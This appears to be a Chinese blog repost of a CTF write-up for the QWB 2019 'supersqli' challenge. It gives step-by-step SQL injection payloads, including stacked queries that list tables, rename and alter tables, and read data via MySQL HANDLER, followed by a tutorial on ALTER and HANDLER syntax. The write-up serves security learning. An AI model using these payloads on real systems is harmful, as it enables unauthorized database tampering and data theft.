[强网杯2019]supersqli–Web安全进阶系列

2024-06-29 312 0

[强网杯2019]supersqli--Web安全进阶系列

[强网杯2019]supersqli–Web安全进阶系列插图

使用引号判断是否存在sql注入

[强网杯2019]supersqli–Web安全进阶系列插图1

报错,可能存在sql注入,注入payload,判断列数,结果为不存在4列

?inject=1' order by 4 -- q

[强网杯2019]supersqli–Web安全进阶系列插图2

换2试试,正常显示,说明存在2列输出结果

?inject=1' order by 2 -- q

[强网杯2019]supersqli–Web安全进阶系列插图3

尝试使用联合注入失败,并且限制了select|update|delete|drop|insert|where|\./i

?inject=1' union select 1,2 -- q

[强网杯2019]supersqli–Web安全进阶系列插图4

注入payload,存在堆叠注入

?inject=1' ; show databases;  -- w

[强网杯2019]supersqli–Web安全进阶系列插图5

查看当前数据库表

?inject=-1' ; show tables;  -- w

[强网杯2019]supersqli–Web安全进阶系列插图6

查看words表中的列名,包含id和data

?inject=-1' ; show columns from words ;  -- w

[强网杯2019]supersqli–Web安全进阶系列插图7

这里我们通过修改表名和列名的方式,把结果给爆出来,注入以下payload

?inject=-1' ; rename `words` to `words1` ; rename `1919810931114514` to `words` ; alter table `words` change `id` `flag` varcchar(100) ; -- w

[强网杯2019]supersqli–Web安全进阶系列插图8

sql语句alter的使用:

当我们需要修改数据表名或者修改数据表字段时,就需要使用到 MySQL ALTER命令。

MySQL 的 ALTER命令用于修改数据库、表和索引等对象的结构

ALTER命令允许你添加、修改或删除数据库对象,并且可以用于更改表的列定义、添加约束、创建和删除索引等操作。

ALTER 命令非常强大,可以在数据库结构发生变化时进行灵活的修改和调整。

-- 向表中添加列
alter table [table_name] 
add column [new_column] [datatype];

-- 修改数据类型
alter table [table_name]
modify column [column_name] [datatype]

-- 修改列明
alter table [table_name]
change column [old_column_name] [new_column_name] [datatype];

-- 删除列
alter table table_name
drop column [column_name];

--数据去重
create table [tmp] select * from [table_name_] group by ([col1],[col2]); -- 先创建一个临时表
drop table [table_name_];-- 删除具有重复数据的表
alter table tmp rename table_name_;-- 将临时表修改名称为你的需要去重的表名即可
or
rename tmp table_name_;-- 俩种修改表名的方式皆可

再使用handler查看第一行数据,爆出flag

?inject=1' ; handler `1919810931114514` open ; handler `1919810931114514` read first -- w

[强网杯2019]supersqli–Web安全进阶系列插图9

知识补充:

mysql支持多种查询数据的方式,除了常见的select语句外,还有handler命令,handler允许用户一行一行地读取表数据,但功能并不能像select那样全面。他是mysql专有地特性,并未被纳入sql标准。handler为存储引擎提供了直接地接口,主要用于MySAM和InnoDB表,提供了一种访问表数据的直接方式。以下是它地常见用法:

-- 首先创建一张表
create table handler_table(id int, name varchar(10));
-- 按下列顺序依次插入数据
insert into handler_table values(3, '张三');
insert into handler_table values(4, '李四');
insert into handler_table values(5, '王五');
insert into handler_table values(1, '刘一');
insert into handler_table values(2, '陈二');

[强网杯2019]supersqli–Web安全进阶系列插图10

不通过索引查看表

1、打开句柄

mysql> handler handler_table open;
Query OK, 0 rows affected (0.00 sec)

2、查看数据

mysql> handler handler_table read first;
+------+--------+
| id   | name   |
+------+--------+
|    3 | 张三   |
+------+--------+
1 row in set (0.00 sec)

mysql> handler handler_table read next;
+------+--------+
| id   | name   |
+------+--------+
|    4 | 李四   |
+------+--------+
1 row in set (0.00 sec)

3、关闭句柄

handler handler_table close;

通过索引查看表

1、创建索引

mysql> create index handler_index on handler_table(id);
Query OK, 5 rows affected (0.02 sec)

2、打开句柄

mysql> handler handler_table open;
Query OK, 0 rows affected (0.00 sec)

mysql> handler handler_table open as p;
Query OK, 0 rows affected (0.00 sec)

3、查看数据

# 获取第一行数据
handler p read handler_index first;
# 获取下一行数据
handler p read handler_index next;
# 获取上一行数据
handler p read handler_index prev;
# 获取最后一行数据
handler p read handler_index last;
#举例
mysql> handler p read handler_index first;
+------+--------+
| id   | name   |
+------+--------+
|    1 | 刘一   |
+------+--------+
1 row in set (0.00 sec)
mysql> handler p read handler_index last;
+------+--------+
| id   | name   |
+------+--------+
|    5 | 王五   |
+------+--------+
1 row in set (0.00 sec)

4、关闭句柄

handler p close;

Tips:如果遇到如下错误,表示没有删除原来创建地索引句柄

mysql> create index handler_index on handler_table(id);
ERROR 1061 (42000): Duplicate key name 'handler_index'

使用如下指令,即可删除索引句柄

alter table hand_table drop index hander_index;

然后再次创建索引句柄

mysql> alter table handler_table drop index handler_index; -- 删除之前创建地索引句柄
Query OK, 5 rows affected (0.02 sec)
Records: 5  Duplicates: 0  Warnings: 0
mysql> create index handler_index on handler_table(id);-- 创建句柄
Query OK, 5 rows affected (0.02 sec)

emmm差不多了,谢谢观看,博主21岁,交朋友dd。。。。。

原文https://mp.weixin.qq.com/s/5FkhxrBs4cM2yv7_SL9Z3Q


4A评测 - 免责申明

本站提供的一切软件、教程和内容信息仅限用于学习和研究目的。

不得将上述内容用于商业或者非法用途,否则一切后果请用户自负。

本站信息来自网络,版权争议与本站无关。您必须在下载后的24个小时之内,从您的电脑或手机中彻底删除上述内容。

如果您喜欢该程序,请支持正版,购买注册,得到更好的正版服务。如有侵权请邮件与我们联系处理。敬请谅解!

程序来源网络,不确保不包含木马病毒等危险内容,请在确保安全的情况下或使用虚拟机使用。

侵权违规投诉邮箱:4ablog168#gmail.com(#换成@)

相关文章

webpack打包站点,js文件名批量获取思路
加密对抗靶场enctypt——labs通关
【论文速读】| 注意力是实现基于大语言模型的代码漏洞定位的关键
蓝队技术——Sysmon识别检测宏病毒
内网渗透学习|powershell上线cs
LLM attack中的API调用安全问题及靶场实践

发布评论